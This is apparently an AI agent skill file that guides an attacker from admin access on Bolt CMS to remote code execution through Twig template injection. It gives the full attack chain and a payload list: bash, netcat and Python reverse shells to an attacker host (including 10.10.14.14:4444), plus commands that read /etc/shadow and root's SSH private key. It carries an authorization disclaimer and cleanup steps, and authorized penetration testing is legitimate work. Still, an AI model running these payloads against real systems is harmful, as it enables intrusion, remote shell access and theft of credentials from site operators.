bolt-cms-pentesting

name	bolt-cms-pentesting
description	How to exploit Bolt CMS for Remote Code Execution (RCE) via Twig template injection. Use this skill when pentesting Bolt CMS installations, when you need to check for SSTI vulnerabilities in Bolt CMS, or when you have admin access to a Bolt CMS instance and want to escalate to RCE. This skill covers the complete exploitation chain from admin login to code execution.

Bolt CMS Pentesting

A skill for exploiting Bolt CMS vulnerabilities to achieve Remote Code Execution (RCE) through Twig Server-Side Template Injection (SSTI).

Prerequisites

• Admin access to the Bolt CMS instance
• Network access to receive reverse shells (if using shell payloads)
• Authorization to perform security testing on the target

Exploitation Workflow

Step 1: Access Admin Configuration

1. Navigate to the admin panel at /bolt and log in with admin credentials
2. Go to Configuration -> View Configuration -> Main Configuration
   • Direct URL: /bolt/file-edit/config?file=/bolt/config.yaml
3. Identify the active theme - Note the theme name (e.g., base-2021)

Step 2: Locate Template File

1. Navigate to File management -> View & edit templates
2. Select the theme identified in Step 1
3. Open index.twig for editing
   • Direct URL pattern: /bolt/file-edit/themes?file=/THEME_NAME/index.twig

Step 3: Inject Twig Payload

Insert a Twig template injection payload into the template file. Common payloads:

Reverse Shell (Bash):

{{['bash -c "bash -i >& /dev/tcp/ATTACKER_IP/PORT 0>&1"']|filter('system')}}

Command Execution:

{{['COMMAND_HERE']|filter('system')}}

Read File:

{{['cat /etc/passwd']|filter('system')}}

Verify Execution:

{{['id']|filter('system')}}

Save the changes after inserting your payload.

Step 4: Clear Cache

Navigate to Maintenance -> Clear the cache to ensure the modified template is loaded. This step is critical - without clearing the cache, the payload will not execute.

Step 5: Trigger Execution

Access the page as a regular user (non-admin) to trigger the payload execution. The injected code will run when the template is rendered.

Payload Examples

Basic Reverse Shell

{{['bash -c "bash -i >& /dev/tcp/10.10.14.14/4444 0>&1"']|filter('system')}}

Netcat Reverse Shell

{{['nc -e /bin/bash ATTACKER_IP PORT']|filter('system')}}

Python Reverse Shell

{{['python -c "import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\'ATTACKER_IP\',PORT));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);subprocess.call([\'/bin/sh\',\'-i\'])"']|filter('system')}}

File Read

{{['cat /etc/passwd']|filter('system')}}
{{['cat /etc/shadow']|filter('system')}}
{{['cat /root/.ssh/id_rsa']|filter('system')}}

System Information

{{['whoami']|filter('system')}}
{{['id']|filter('system')}}
{{['uname -a']|filter('system')}}
{{['pwd']|filter('system')}}

Important Notes

• Authorization Required: Only use this skill on systems you have explicit permission to test. Unauthorized exploitation is illegal.
• Cache Clearing: The cache must be cleared after modifying templates for changes to take effect. This is a critical step.
• Theme Identification: The exact theme name must be known to locate the correct template file. Check the config.yaml if unsure.
• Payload Persistence: The payload persists in the template file until manually removed. Clean up after testing.
• Template Syntax: Twig uses {{ }} for expressions. The filter('system') function executes shell commands.

Verification

After triggering the payload, verify execution by:

1. Reverse Shell: Check for incoming connections on your listener
2. Command Output: Look for command output in page source or logs
3. Simple Commands: Test with id or whoami to confirm execution
4. File Operations: Create a test file and verify it exists

Cleanup

After testing, remove the injected payload from the template file to restore normal functionality:

1. Navigate back to File management -> View & edit templates
2. Open the modified index.twig
3. Remove the injected payload
4. Save and clear the cache again

Related Techniques

• Twig SSTI
• Template Injection vulnerabilities
• CMS exploitation
• Privilege escalation via web applications